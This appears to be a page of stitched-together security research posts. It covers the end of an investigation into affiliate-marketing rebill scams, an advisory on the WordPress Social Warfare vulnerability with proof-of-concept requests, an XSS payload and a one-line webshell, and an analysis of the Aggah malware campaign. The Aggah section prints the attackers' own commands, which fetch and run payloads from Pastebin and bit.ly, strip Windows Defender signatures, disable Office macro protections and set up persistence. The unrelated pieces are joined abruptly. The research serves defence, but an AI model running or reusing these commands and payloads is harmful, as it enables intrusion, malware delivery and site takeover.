Figure 11. PureFit Keto sales page

On the surface, it’s pretty straight forward. Lots of meaningless slogans and visual alert cues to try and persuade you into giving them money and buying the pills.

After being sent the CaesarV article previously mentioned, I wondered if there were other blogs or posts about these campaigns that could shed more light on the situation.

Back in 2016 MalwarebytesLabs researcher Jovi Umawing released an article about the Stephen Hawking page selling “Inteligen” (the miracle brain formula). One thing that caught my eye here was the sales page for this product.

Figure 12. Inteligen sales page

It looks very familiar. The three checks, a pill bottle, the input dialog, “rush my order”, etc. Given their penchant for templates, I wondered if other sites were the same.

Of course, not too long after, I found other articles from Jovi dating all the way back to 2014. In both, there is a TMZ page selling a weight loss product called “Garcinia Cambogia.”

Figure 13. TMZ pre-sell page

This was coupled with other screenshots Jovi provided for the sales pages that users were redirected to when clicking on any of the links.

Figure 14. Garcinia Cambogia sales page variant 1

Along with…

Figure 15. Garcinia Cambogia sales page variant 2

Again, having them lined up next to each other helps to illustrate the obvious template being used when building these sales page. All the way down to the “IN STOCK” warning banners across the top that can be seen on the most recent “PureFit Keto” site. It also shows that, for at least 4 years now, they’ve been creating the templates in parallel to the fake celebrity endorsement pre-sell sites.

After reviewing a few more articles I found regarding these campaigns, with the earliest dating back to mid-2013, I began to look at the actual sales page URLs and corresponding meta-data to see if anything stood out.

Keep in mind that in this chain of events, the “affiliates” are the individuals pushing the initial enticements, such as the e-mail spam. There is a demarcation that occurs in affiliate marketing at the point of the sales pages which appear to be run by the “merchants” who sell the products and provide the pre-sell pages for affiliates to use.

They, of course, can be one in the same person but I wanted to try and understand the other side of the fence since they are so entwined with the deceptive marketing side of the campaign.

Looking at the sites from the campaigns I was observing, both “inteligen[.]org” and “purefitketo[.]net” didn’t provide anything of note; however, the site, “naturalgarciniacambogia[.]net”, from Jovi’s blog over at MalwareBytes did.

Back on January 22 2016, about 6 days before removing their details, a WHOIS record revealed the name, e-mail, and organization which registered that particular domain.

Figure 16. WHOIS for "naturalgarciniacambogia[.]net"

JJR Media

To kick things off, I did a quick Google search for the “JJR Media” organization and immediately found its website, with plenty of examples on display of their sales pages.

Figure 17. JJR media website

They have multiple products listed, all with similar templates, and even a slightly modernized version of their older Garcinia sales page.

Figure 18. Updated Garcinia sales page

Of course, two hits on Google below the one for their main website you find one for the Better Business Bureau (BBB) and complaints against the “naturalgarciniacambogia[.]net” website. It provides more details on the actual business organization behind the web site, which I was surprised to find was incorporated. I’ve since learned that one of the driving factors that these affiliate marketers have in incorporating their businesses is so they, the individual, cannot be held personally liable when people start going after them for fraud and the like.

These websites are hosted alongside an affiliate marketing network for a business called “Express Revenue Inc.”, which, if you pivot further on the domains hosted by these organizations, you can see multiple sales pages like the ones discussed in this blog.

Figure 19. JJR Media passive nameserver

Focusing on the website “cbdlifereview[.]com”, which appears as though it is still being setup, it exposes an open directory of folders on the website.

Figure 20. Index of "cbdlifereview[.]com"

Each of these “lp” (landing pages) are the exact same deceptive pre-sell pages as described above by the FTC.

Figure 21. Jacobs CBD pre-sell pages

Additionally, the below image shows an affiliate “offer” site, wherein we can see that Express Revenue is offering to affiliates the Shark Tank pre-sell pages from advertiser “SLA Slim Quick” for campaigns.

Figure 22. Express Revenue Shark Tank

The FTC, Oprah, Dr. Oz, and NBC

Affiliate marketing scams like this are not new. Back in 2009, Oprah and Dr. Oz filed a lawsuit against hundreds of affiliates using the same type of “pre-sell” deceptive celebrity endorsement pages, which made national headlines. By 2014, the FTC was dragged front and center because of these fraudulent campaigns. There were literally thousands of these sites and affiliates, but I think it’s clear that the work done back this has done little to curb this still rampant activity.

From the FTC’s website on the event:

“Not only did these defendants trick consumers with their phony weight loss claims, they also compounded the deception by advertising on pretend news sites, making it impossible for people to know whether they were seeing news or an ad,” said Jessica Rich, Director of the FTC’s Bureau of Consumer Protection.

As I was investigating all of these campaigns, I shared frequent screenshots and updates of interesting tidbits with the rest of my team. A funny thing happened a few months ago when one of them was watching the Today show on NBC, who is the current pre-sell flavor of the week, and they ran a segment on this exact campaign. My colleague sent me a link to the video and in turn, an article they published about it.

In this case, the sales page was trying to sell a skin care product called “Liva Derma Serum” and it was brought to the attention of the shows frontrunner by a fan asking if it was real, and subsequently investigated by Gadi Schwartz and Lindsey Bomnin.

Now, before we continue on with this exploration, the next term we need to learn is “re-bill” and how it’s abused in this industry as a mechanism to scam people. That’s effectively what all of these campaigns are and, based on reading discussions in affiliate marketing communities, it’s one of the bigger cash cows.

Another Bill, Sir?

After you’ve lured the victim to your website, in tiny fine print that will never be seen, you include a line that says “if you don’t cancel your subscription within X days then you’ll be billed an absorbent amount of money on a reoccurring basis until you cancel.” You entice them with free products, or a trial run, to get your hooks in and then after they cover the initial cost of shipping, you slap them with large charges directly to their credit cards which may go unseen for multiple billing cycles.

Hopefully someone notices before it’s too late but more often than not, at least one cycle goes through and the merchants laugh all the way to the bank. At some point in the past, seemingly all of the affiliate marketing scams basically switched to this scheme because the payouts are bigger and there may be some legal wiggle-room due to that fine print. Every campaign described in this blog is a re-bill scam. Heck, even the affiliates know it’s unscrupulous but, as “bprimeelite” so tastefully stated: “in this world you either have to be the wolf or the sheep”.

Figure 23. Re-bill scam acknowledgement

To recap then –

You have affiliates who spam links to get people to the pre-sell/landing pages and get paid a small amount of money for every user who successfully submits a valid credit card.
You have “merchants” who run the re-bill scheme and potentially make $50-$100 per surprise credit card billing.
You have an affiliate network which connects the merchants to the affiliates and acts as an intermediary who gets a piece of the pie from the merchants.

Looking at the Better Business Bureau’s (BBB) website provides a wealth of information on these affiliate networks and merchant businesses. It’s not uncommon to see warning like this for consumers:

BBB files indicate that this business has a pattern of complaints concerning: business not refunding the costumer and continued billing without customers knowledge. On July 7, 2014, the BBB sent a request to the business to address this pattern and what actions the business has taken to help eliminate the causes of complaints.

These BBB complaints highlight the “re-bill” scam in full effect.

01/13/2017

I signed up for a trial offer and they tried to charge my account $120 at two separate times. Notice this morning on January 13th 2017 that my account had been charged for $90 from this company. Then I proceeded to call the company and tell them that I had signed up for the trial that they had going on for $4.95.

12/12/2016

This company operates with deceitful business practices. They offer you a "free" product. You only have to pay minimal shipping. The free product enrolls you in an auto refill system and if you do not cancel your membership (that you are unaware you have) within 14 days you are charged $89.99 a month for additional product. On top of the hassle of unwittingly being charged for it, THEIR PRODUCT DOES NOT WORK!!

09/13/2016

I thought this was free, only had to pay 4.94 for shipping. I feel I was mislead.They have charged my account 89.99 for one bottle.Their advertising I received email saying free products of your choosing, all you had to do was pay for shipping.

All of this is allowed by the following line in the terms of service on the sales pages after you click a tiny link towards the bottom of the page.

I UNDERSTAND THAT THIS CONSUMER TRANSACTION INVOLVES A NEGATIVE OPTION AND THAT I MAY BE LIABLE FOR PAYMENT OF FUTURE GOODS AND SERVICES, UNDER THE TERMS OF THIS AGREEMENT, IF I FAIL TO NOTIFY THE Garcinia Active Slim NOT TO SUPPLY THE PRODUCTS DESCRIBED. BY PLACING MY ORDER, I PROVIDE MY ELECTRONIC AUTHORIZATION FOR FUTURE CHARGES AGAINST MY CREDIT CARD UNLESS I CANCEL. IN ADDITION, YOU DO NOT HOLD Garcinia Active Slim RESPONSIBLE FOR ANY OVERDRAFT CHARGES OR FEES THAT YOU MIGHT INCUR DURING THE ONGOING AUTO-SHIP PROGRAM.

Takedown Cures

This brings us to the question of “what can be done about it?” and unfortunately, the reality is there isn’t much beyond education, which this blog attempts to provide to the reader.

The FTC is aware and the celebrities and organizations being used are aware with some having taken legal action, but it still remains as problematic as ever - so what else can be done?

Well, as part of this research and data collection, after identifying a reoccurring pattern of abuse of GoDaddy services, I reached out to their Threat Intelligence team to see if we couldn’t tackle at least one aspect of these campaigns and hinder the perpetuation of the scams.

After writing some new scripts to automate and collect shadow domains for these campaigns and working with GoDaddy’s abuse teams, we were able to successfully identify and shut down over 15,000 subdomain being used across these campaigns.

Based on what we know from the dozens of publicly available “bit.ly” and “goo.gl” statistics of the initial URLs being spammed out to our customers, we are able to glean a little insight into the potential disruption this shutdown may have. On average, primarily with viewers from the United States of America, the links were each clicked 273 times. If even a fraction of the 15,000 plus subdomains received that many clicks per site, then it removed millions of potential targets these actors could prey upon.

A big win for everyone involved that will go a long way in protecting consumers.

Conclusion

Throughout this blog, I’ve tried to stress the importance of patterns at every phase of analysis to establish the behaviors for how these affiliates, networks, and merchants operate. The Internet has proved to be a breeding ground for nefarious activity and with so many moving parts, it constantly makes attribution and accountability more complicated.

While pouring over the forums, both private and public, for these affiliate marketers, you find that they are all very aware of the fraud that is rampant in their industry. In a lot of cases, they are even openly flaunting their “black hat” activities. They know that due to the anonymous nature of the Internet, the difficulty that the U.S. Government has faced when trying to prosecute these crimes, and how easy it has become to blend into the every-day background noise, there appears to be little risk to them for continuing with these scams.

It’s unfortunate to see how pervasive this advertising industry has become and it doesn’t appear to be slowing down anytime soon as long as the money keeps flowing in.

There are a lot of players in the affiliate marketing world, from the affiliates to the merchants and all of the networks in-between. Hopefully this blog helps to shine some light on how at every link in this chain there are shady, sometimes illegal, and almost always deceptive, business practices still being employed to scam hard working people out of their money.

Exploits in the Wild for WordPress Social Warfare Plugin CVE-2019-9978

Posted on April 22, 2019June 7, 2024 by Qi Deng

On 21 March, researchers disclosed two vulnerabilities in Social Warfare, a very popular plugin in WordPress which adds social share buttons to a website or blog. One vulnerability is a Stored Cross-site Scripting Attack (XSS) vulnerability and the other is a remote code execution (RCE) vulnerability, both are tracked by CVE-2019-9978. Both vulnerabilities are present in versions 3.5.0-3.5.2 of Social Warfare: a fix was released on 21 March and is in version 3.5.3. Approximately 60,000 active installations were found at the time of writing which are potentially vulnerable until they update to 3.5.3. An attacker can use these vulnerabilities to run arbitrary PHP code and control the website and the server without authentication. The attackers may use the compromised sites to perform digital coin mining or host malicious exploit code. Unit 42 researchers found five compromised sites actively used for hosting malicious exploit code, which allows the attackers to control more websites.

In this blog post we provide new details on the root cause of the vulnerabilities, proof of concept code (PoC) to demonstrate the vulnerability, and information on attacks we observed in the wild as well as the scope of vulnerable sites.

Root Cause Analysis of the Vulnerabilities

Remote Code Execution (RCE) vulnerability

The root cause is located at social-warfare\lib\utilities\SWP_ Database_Migration.php:

Figure 1. WordPress Social Warfare handle $_GET['swp_url']

Figure 1 shows that the $array is constructed by $options which in turn came from a remote file located in $_GET[‘swp_url’]. We can see in line 250 in Figure 1, the $array will be executed by eval() function without any security checks, which causes the arbitrary code execution.

Stored XSS vulnerability

The vulnerability code is in the same file as the above RCE.

Figure 2. Code to update option

The root cause of each of these two vulnerabilities is the same: the misuse of the is_admin() function in WordPress. Is_admin only checks if the requested page is part of admin interface and won’t prevent any unauthorized visit.

Proof of Concept

RCE Vulnerability

We manipulated a file in an internal environmental server with the below content, which stores a phpinfo function inside <pre> tags. phpinfo() is a PHP function which shows the current state and environment configuration of PHP. It’s usually used as a remote payload demonstrating PHP execution.

<pre>

phpinfo();

</pre>

We then visited the following URI on the vulnerable site and found the phpinfo() function was executed:

http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt

Figure 3. phpinfo() runs when the PoC request is sent

Stored XSS Vulnerability

We manipulated the configuration file in an internal environmental server with the below content:

<pre>

array (

'analytics_campaign' => 'SocialWarfare',

'analytics_medium' => 'social',

'bitly_authentication' => false,

'button_alignment' => 'fullWidth',

'button_shape' => 'flatFresh',

'button_size' => 1,

'cache_method' => 'advanced',

'ctt_css' => '',

'ctt_theme' => 'style1',

'custom_color' => '#000000',

'custom_color_outlines' => '#000000',

'decimal_separator' => 'period',

'decimals' => 0,

'default_colors' => 'full_color',

'float_alignment' => 'center',

'float_background_color' => '#ffffff',

'float_button_count' => 5,

'float_button_shape' => 'default',

'float_custom_color' => '#000000',

'float_custom_color_outlines' => '#000000',

'float_default_colors' => 'full_color',

'float_hover_colors' => 'fullColor',

'float_location' => 'bottom',

'float_location_page' => 'off',

'float_location_post' => 'on',

'float_mobile' => 'bottom',

'float_screen_width' => 1100,

'float_single_colors' => 'full_color',

'float_size' => 1,

'float_style_source' => true,

'float_vertical' => 'center',

'floating_panel' => true,

'force_new_shares' => false,

'frame_buster' => false,

'full_content' => false,

'google_analytics' => false,

'hover_colors' => 'full_color',

'last_migrated' => '3.0.5',

'location_archive_categories' => 'below',

'location_home' => 'none',

'location_page' => 'below',

'location_post' => 'below',

'minimum_shares' => 0,

'network_shares' => true,

'og_page' => 'article',

'og_post' => 'article',

'order_of_icons' =>

array (

'twitter' => 'twitter',

'linkedIn' => 'linkedin',

'pinterest' => 'pinterest',

'facebook' => 'facebook',

'google_plus' => 'google_plus',

'order_of_icons_method' => 'manual',

'pin_browser_extension' => false,

'pin_browser_extension_location' => 'hidden',

'pinit_image_description' => 'alt_text',

'pinit_image_source' => 'image',

'pinit_location_horizontal' => 'center',

'pinit_location_vertical' => 'top',

'pinit_min_height' => '200',

'pinit_min_width' => '200',

'pinit_toggle' => false,

'pinterest_fallback' => 'all',

'pinterest_image_location' => 'hidden',

'recover_shares' => false,

'recovery_format' => 'unchanged',

'recovery_prefix' => 'unchanged',

'recovery_protocol' => 'unchanged',

'single_colors' => 'full_color',

'swp_click_tracking' => false,

'swp_twitter_card' => true,

'total_shares' => true,

'totals_alignment' => 'total_sharesalt',

'transition' => 'slide',

'twitter_id' => '"><script>alert(/kow/)</script>',

'twitter_shares' => false,

'utm_on_pins' => false,

)

</pre>

Then we returned to the vulnerable WordPress host at http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt

When you visit the Social Warfare page in the WordPress dashboard, you will see an alert as shown in Figure 4:

Figure 4. Alert shown when the administrator visits the dashboard

Exploits in the Wild

RCE Vulnerability

We also caught several samples exploiting these vulnerabilities in the wild, Figure 5 shows a POST request from one of the samples:

Figure 5. POST request for sample found in the wild

This code is the exploit for the RCE vulnerability and will manipulate a one-line webshell which allows the attacker to control the website.

<pre>eval($_REQUEST['wpaa'])</pre>

Stored XSS Vulnerability

Figure 6 shows decoded malicious JavaScript code exploiting the stored XSS vulnerability which redirects victims to an ads site. The attackers can get advertising revenue by doing this.

Figure 6. Decoded malicious JavaScript

Affected sites

We found about 40,000 sites that have installed this plugin, most of which are running a vulnerable version, including education sites, finance sites, and news sites. Many of these sites receive high traffic which we can see with Alexa global traffic rank in the left column in Figure 7:

Figure 7. Affected sites result from public WWW

Conclusion and Mitigation

There are many exploits in the wild for the Social Warfare plugin and it is likely they will continue to be used maliciously. Since over 75 million websites are using WordPress and many of the high traffic WordPress websites are using the Social Warfare plugin, the users of those websites could be exposed to malware, phishing pages or miners. Website administrators should to update the Social Warfare plugin to 3.5.3 or newer version.

Palo Alto Networks customers are protected from those two vulnerabilities by the following products and services:

Threat Prevention Signature 55424
PAN-DB blocks attacker’s C&C server IP and domain
WildFire and Antivirus identifies and blocks exploitation payload

IoCs

Pastebin[.]com/0yJzqbYf

www[.]viamarkt[.]hu/readme[.]txt

netlabs[.]gr//images/code[.]txt

www[.]acne-school[.]ru//sites/all/modules/webform/tests/subform[.]txt

Www[.]tekmat[.]net/wp-content/uploads/2014/04/jpg[.]txt

Customcoverinc[.]com/images/banners/shopreadme[.]txt

37[.]59[.]55[.]45

192[.]99[.]35[.]149

192[.]99[.]35[.]63

94[.]23[.]255[.]34

8[.]47[.]64[.]2

Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale Campaign

Posted on April 17, 2019August 17, 2026 by Brittany Barbehenn

Executive Summary

In March 2019, Unit 42 began looking into an attack campaign that appeared to be primarily focused on organizations within a Middle Eastern country. Further analysis revealed that this activity is likely part of a much larger campaign impacting not only that region but also the United States, and throughout Europe and Asia.

Our analysis of the delivery document revealed it was built to load a malicious macro-enabled document from a remote server via Template Injection. These macros use BlogSpot posts to obtain a script that uses multiple Pastebin pastes to download additional scripts, which ultimately result in the final payload being RevengeRAT configured with a duckdns[.]org domain for C2. During our research, we found several related delivery documents that followed the same process to ultimately install RevengeRAT hosted on Pastebin, which suggests the actors used these TTPs throughout their attack campaign.

Initially, we believed this activity to be potentially associated with the Gorgon Group. Our hypothesis was based on the high level TTPs including the use of RevengeRAT. However, Unit 42 has not yet identified direct overlaps with other high-fidelity Gorgon Group indicators. Based on this, we are not able to assign this activity to the Gorgon group with an appropriate level of certainty.

In light of that, Unit 42 refers to the activity described in this blog as the Aggah Campaign based on the actor’s alias “hagga”, which was used to split data sent to the RevengeRAT C2 server and was the name of one of the Pastebin accounts used to host the RevengeRAT payloads.

The Delivery

Our research into the Aggah campaign began with a delivery document sent to organizations in a single Middle Eastern country via an email on March 27, 2019. This email appeared to originate from a large financial institution in the same country, although it was likely spoofed. The subject of the email was “Your account is locked.” This initial delivery document was sent to organizations in one Middle Eastern country, specifically to organizations in the education, media/marketing, and government verticals. Four days later on March 31, we saw the same delivery email sent to a financial organization in a second Middle Eastern country. We later discovered that this delivery document was just one of many in a larger campaign sent to organizations in the United States, Europe and Asia targeting the same verticals as in the Middle East as well as Technology, Retail, Manufacturing, State/Local Government, Hospitality, Medical, Technology, and other Professional business. The related documents were functionally similar, so we will describe the original sample we analyzed.

The email sent on March 27 had a Word document attached with the filename “Activity.doc” (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946) that attempted to load a remote OLE document via Template Injection. When “Activity.doc” is opened, it displays the image in Figure 1 as a lure in an attempt to trick the user into enabling content to allow macros to run. The lure suggests that the user must open the document in the desktop versions of Microsoft Word, as macros do not function in the online version of Word in Office 365.The “Activity.doc” file does not contain a macro, but the OLE document that it loads from the remote server does contain a macro.

Figure 1. Lure image used in Activity.doc to trick user into enabling macros

Activity.doc Analysis

The delivery document uses Template Injection to load a file hosted on a remote server. Figure 2 shows the contents of the delivery document’s footer that attempts to load a remote OLE document from hxxps://static.wixstatic[.]com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc:

Figure 2. Footer in Activity.doc showing remote OLE location

The remote OLE file loaded in the footer of Activity.doc file is actually an RTF file (SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f) that loads an embedded Excel document with a heavily obfuscated macro that contains a significant amount of ‘junk’ code. The purpose of this macro is to decode and execute the following URL via the "Shell" command:

mshta hxxp://www.bitly[.]com/SmexEaldos3

The command above uses the built-in “mshta” application to download the contents of URL provided, in this case a shortened URL using the Bit.ly service. During WildFire's analysis, the shortened bit.ly URL redirected to hxxps://bjm9.blogspot[.]com/p/si.html, as seen in the “Location” field of the HTTP response in Figure 3.

Figure 3. Bit.ly shortened link pointing to blog hosted at Blogspot

As you can see in the GET request above, the redirect points the browser (“mshta.exe” in this case) to a blog hosted on blogspot[.]com. As you can see in Figure 4, this BlogSpot article appears a bit odd but not necessarily malicious.

Figure 4. bjm9.blogspot[.]com screen capture

By analyzing the code hosted on the blog, we discovered it actually includes a JavaScript embedded within it that performs several activities. Figure 5 shows the malicious JavaScript hosted at the seemingly innocuous blog.

Figure 5. Script embedded in bjm9 Blogspot article

The malicious script carries out several activities on the compromised system. First, it attempts to hamper Microsoft Defender by removing its signature set. The script also kills the Defender process along with the processes for several Office applications. All of this is performed using the following command line:

cmd.exe /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & forfiles /c ""taskkill /f /im MSASCuiL.exe"" & forfiles /c ""taskkill /f /im MpCmdRun.exe"" & exit

The script then attempts to disable security mechanisms within Office products, specifically by setting registry key values to enable macros and to disable ProtectedView. First, the script enables macros within Word, PowerPoint and Excel by setting the following registry keys to a value of "1":

HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings

The script then attempts to disable the ProtectedView security mechanism within Word, PowerPoint and Excel by setting the following registry keys to a value of “1”:

HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

The technique of enabling macros and disabling ProtectedView in Office, including the order in which the registry keys were modified was also described in our blog covering the Gorgon group. Also, the tactic of killing processes for Windows Defender and Microsoft Office applications was also carried out by Gorgon as well. The Gorgon group also used the bitly URL shortening service in their attacks, but while these are obvious technique overlaps, we still do not have concrete evidence that this attack campaign is associated with Gorgon.

The script hosted on Blogspot then carries out three main activities that include:

Downloading a payload from a Pastebin URL
Creating a scheduled task to periodically obtain and run a script from a Pastebin URL
Creating an autorun registry key to obtain and run a script from a Pastebin URL

Obtaining a payload from Pastebin

The script hosted at Blogspot obtains a portable executable payload from a Pastebin URL and executes it. The script builds the following command and attempts to run it using the WScript.Shell object:

mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\'h\'+\'t\'+\'t\'+\'p\'+\'s:\'+\'//p\'+\'a\'+\'s\'+\'t\'+\'e\'+\'b\'+\'i\'+\'n\'+\'.\'+\'c\'+\'o\'+\'m\'+\'/\'+\'r\'+\'a\'+\'w\'+\'/\'+\'2LDaeHE1\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)

The command above results in the downloading of a portable executable hosted on Pastebin at https://pastebin[.]com/raw/2LDaeHE1, decoding the base64 downloaded from the URL, and then executing it. Figure 6 shows the Pastebin page hosting the executable downloaded by the script.

Figure 6. 2LDaeHE1 Pastebin page

The decoded payload has the following attributes:

SHA256	b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde110 13a60f6b5
Compile Time	2019-03-20 19:43:08

Table 2. Decoded payload from pastebin[.]com/raw/2LDaeHE1

This payload was written in VB.NET and named "Nuclear Explosion," which is a variant of RevengeRAT configured to use the domain "lulla.duckdns[.]org" for C2, as seen in Figure 7.

Figure 7. RevengeRAT configuration

According to its configuration seen in Figure 8, when sending data to the C2 server, it will split the information using the string "hagga", which is the same name as the PasteBin account hosting the payload information seen in Figure 6 and the basis of the Aggah campaign name.

Figure 8. Configuration showing the string "hagga" used to split information sent to the C2 server

Creating a Scheduled Task

The script hosted at the Blogspot blog builds another command to create a scheduled task called "eScan Backup" that runs every 100 minutes. The command string generated by the script used to create this scheduled task is:

schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr ""mshta vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe https://pastebin[.]com/raw/tb5gHu2G"",0,true)(window.close)"" /F '

The “eScan Backup” task will use the built-in mshta application to download a script from a Pastebin URL, specifically at hxxps://pastebin[.]com/raw/tb5gHu2G that we will continue to refer to as the tb5gHu2G script. We believe the actors chose the name “eScan Backup” to appear related to the eScan antivirus products. Figure 9 shows the scheduled task in Windows’ Task Scheduler program.

Figure 9. Scheduled task created to reach out to Pastebin URL and run the hosted script every 100 minutes

The scheduled task downloading and running the tb5gHu2G script is meant for persistence, as it runs the same command to hamper Windows Defender and kill Office applications. The tb5gHu2G script also attempts to run the same VBScript as the script hosted on the Blogspot blog, of which downloads and executes the payload from the “2LDaeHE1” Pastebin page shown in Figure 6. Figure 10 shows the Pastebin page hosting the tb5gHu2G script.

Figure 10. tb5gHu2G Pastebin page

Creating an Autorun Registry Key

The script hosted at the Blogspot blog creates an autorun registry key, which appears to be a second persistence mechanism to supplement the previously mentioned scheduled task. To create the autorun key, the script generates the following command that it will attempt to run:

CreateObject("Wscript.Shell").regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate", "C:\Windows\System32\mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe%20http://pastebin[.]com/raw/YYZq1XR0"",0,true)(window.close)" , "REG_EXPAND_SZ"

This run key will attempt to download the contents hosted at yet another Pastebin URL of http://pastebin[.]com/raw/YYZq1XR0

and run the contents as a script using the Wscript.Shell object. Figure 11 shows the Pastebin page displaying the contents of the script.

Figure 11. YYZq1XR0 Pastebin page

The YYZq1XR0 Pastebin paste contains the following script that does very little:

self.close

</script>

The fact that the above script does so little suggests that the actor may update this paste with a new script containing additional functionality when desired. The editing of pastes is possible if the paste was created using a "Pro" account. These pastes were created by an account named HAGGA, which appears to be a PRO account that would allow the actor to update the script to run on infected systems. HAGGA has several additional pastes as well as seen below in Figure 12. These pastes contain additional malicious scripts that are ultimately used to create a payload.

Figure 12. Hagga’s Pastebin page

Part of a Larger Campaign?

